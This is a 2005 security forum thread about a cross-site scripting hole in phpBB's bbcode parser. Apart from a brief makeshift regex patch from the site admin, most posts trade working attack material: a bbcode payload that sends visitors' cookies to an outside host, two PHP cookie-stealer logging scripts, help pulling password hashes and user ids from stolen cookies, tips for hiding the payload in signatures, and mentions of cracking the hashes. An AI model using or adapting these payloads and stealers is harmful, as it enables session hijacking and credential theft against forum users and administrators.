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IT Security and Insecurity Portal |
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 Posted: Sun Jul 10, 2005 5:57 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| WaterBird wrote: | | Btw any idea how to fix this hole ? Phpbb don't know about it yet ? |
Ok, look at "includes/bbcode.php", function "bbencode_second_pass()":
| Code: |
// matches a [url]xxxx://www.phpbb.com[/url] code..
$patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url1'];
// [url]www.phpbb.com[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url2'];
// [url=xxxx://www.phpbb.com]phpBB[/url] code..
$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url3'];
// [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix).
$patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
$replacements[] = $bbcode_tpl['url4'];
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Now, you must improve those regexes, like:
Add there some more "dangerous" chars, like :
| Code: |
[^ \"\n\r\t\'\`\[\]<]
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This is primitive and temporal patch, but it seems to work righ now.
When phpBB developers will release their own patch, i suggest to use that one  |
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| Posted: Sun Jul 10, 2005 6:19 pm |
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| WaterBird |
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| Joined: May 16, 2005 |
| Posts: 37 |
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cookie to pass |
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| Posted: Sun Jul 10, 2005 8:22 pm |
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| mimdrj |
| Beginner |
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| Joined: Jul 10, 2005 |
| Posts: 1 |
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| i got cookies but i reallydon't know hoe to get pass from cookies please help it is too important for me thnks |
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| Posted: Sun Jul 10, 2005 8:52 pm |
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| diaga |
| Regular user |
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| Joined: Jun 27, 2005 |
| Posts: 22 |
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works fine for me =]
By using a short domain (I'm using 3 char), you could even fit it into a signature =] |
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| Posted: Sun Jul 10, 2005 10:12 pm |
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| g30rg3_x |
| Active user |
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| Joined: Jan 23, 2005 |
| Posts: 31 |
| Location: OutSide Of The PE |
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just a few hours and post get 33 post 
yeah, i have to re read all the post, and i answer some questions that i see and this has not been correctly answered...
another bbcode flaw combination with Social engineering ,I think *_^
yeah it requires a social engineering, for grabing the most value cookie
who is the admin cookie 
sorry but i dont understand what do you mean only work on IE
yeah i know its too late, but this poc just execute on IE,
and excellent short video...
by the way, g30rg3_x, did you manage to use this exploit ?
nop, i just remenber all you guys that this exploit its not officially patched, but our webmaster have been launch a unofficial but working patch
Cookie Stealer Code...
mmm, i use this:
| Code: |
<?php
$cookie = $_GET['cookie'];
$fff = fopen("cookie.txt","a+");
fwrite($fff, "$cookie \n");
fclose($fff);
?>
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jpg/txt/gif cookie stealer...
this doesnt exist they use a .txt or .jpg or .bmp or whatever, why???
this is simply if you put php this will execute in your server side, so if you put in .txt or whatever this "bad cookie stealer code" would be injected in the website and not include thats the real thing, thats happens and because are use .xxx extensions
i got cookies but i reallydon't know hoe to get pass from cookies please help it is too important for me thnks
as you see, you would get something like:
| Code: |
phpbb2mysql_t=a:2:{i:1;i:1121004937;i:2;i:1121005196;};
phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c2150783216c11afea291d179e7b1902";s:6:"userid";i:666;}; phpbb2mysql_sid=b57ae9f7898f1ccebf7e07fa427e5998
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the part you need its:
phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c2150783216c11afea291d179e7b1902";s:6:"userid";i:666;};
every information has a work, like the
c2150783216c11afea291d179e7b1902
its the hash of thepassword of the user that you steal his cookie...
"userid";i:666;
you can view this as:
userid: 666
so, now you sure ask, and what user its this, simply see his profile
http://www.theexploitedsite.com/forum/profile.php?mode=viewprofile&u=x
where the value x on u its the userid so in this case:
http://www.theexploitedsite.com/forum/profile.php?mode=viewprofile&u=666
and now you will see what user is
sorry for the too late answers, but this topic moves so fast 
regards |
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Last edited by g30rg3_x on Mon Jul 11, 2005 7:03 pm; edited 2 times in total |
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| Posted: Mon Jul 11, 2005 6:27 pm |
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| KingOfSka |
| Advanced user |
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| Joined: Mar 13, 2005 |
| Posts: 61 |
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| i tested locally and in some test forum, the exploit is working (i used a mine cookie stealer file) but i used mod rewrite to have a .png file to be processed as php, but the only problem is that it seems to work only in the body part of a post, and not in pm... |
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| Posted: Mon Jul 11, 2005 7:56 pm |
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| 700G |
| Active user |
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| Joined: Mar 25, 2005 |
| Posts: 33 |
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I havent tired it in a PM yet, but it definitely works as a signature too  |
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| Posted: Tue Jul 12, 2005 9:44 am |
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| KingOfSka |
| Advanced user |
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| Joined: Mar 13, 2005 |
| Posts: 61 |
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| verbatim wrote: |
any ideas ?is there a mistake here :
| Code: | | [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite.com/cookie.php'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] |
finally, did you manage to use this exploit with a personnal stealer script ?
(i know, a lot of question, but i guess it may help other readers ) |
yes there's an error it should be /cookie.php?var='+document.cookie , where var is the name of the variable that should store the cookie |
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| Posted: Wed Jul 13, 2005 3:11 am |
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| theOne |
| Regular user |
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| Joined: May 31, 2005 |
| Posts: 8 |
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| How would you go abouts doing it like they'r edoing at anticaht? using jpg and still getting info? |
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| Posted: Wed Jul 13, 2005 5:55 am |
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| 700G |
| Active user |
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| Joined: Mar 25, 2005 |
| Posts: 33 |
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Herer is what exactly is working for me:
| Code: | | [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://site.com/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color] |
and i am using this script:
| Code: | <?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: /redirectpage.html");
?> |
working very well. I have a long list of cracked MD5's using Cain and rainbow tables |
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| Posted: Wed Jul 13, 2005 11:54 am |
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| _daemon_ |
| Beginner |
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| Joined: Jul 13, 2005 |
| Posts: 4 |
| Location: Greece |
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| Hey there, thats great info! Congrats. I'd like to ask a question: Why cant this work on firefox? Its ok with IE but many people use ff, opera, etc. nowdays. Thanks a bunch |
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| Posted: Wed Jul 13, 2005 12:42 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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| _daemon_ wrote: | | Hey there, thats great info! Congrats. I'd like to ask a question: Why cant this work on firefox? Its ok with IE but many people use ff, opera, etc. nowdays. Thanks a bunch |
Maybe because IE is less restrictive on some rules, like using of the various quotes. I mean, firefox will not accept " ` " character as substitute of the single or double quote. |
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| Posted: Wed Jul 13, 2005 9:35 pm |
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| g30rg3_x |
| Active user |
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| Joined: Jan 23, 2005 |
| Posts: 31 |
| Location: OutSide Of The PE |
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in the original advisory in russian
( http://antichat.ru/txt/phpbb/ )
says that this exploits works because, IE takes ` at his equivalent " so thats for only execute in IE and not with others engines..
| Quote: |
....
Pay attention to a symbol `. It not ', but in this case is perceived Internet Explorer'ii as its equivalent. Here result:
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regards |
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| Posted: Thu Jul 14, 2005 12:09 am |
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| Slobo |
| Beginner |
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| Joined: Jul 14, 2005 |
| Posts: 2 |
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| What if the admin control panel is password protected, how should the cookie be edited to login automatically in the admin area? |
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| Posted: Thu Jul 14, 2005 8:06 am |
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| KingOfSka |
| Advanced user |
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| Joined: Mar 13, 2005 |
| Posts: 61 |
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| sometimes you simply can't, there are some mod that require the admin to inserti his password to log in the admin panel, regardless cookies, so you have to crack it |
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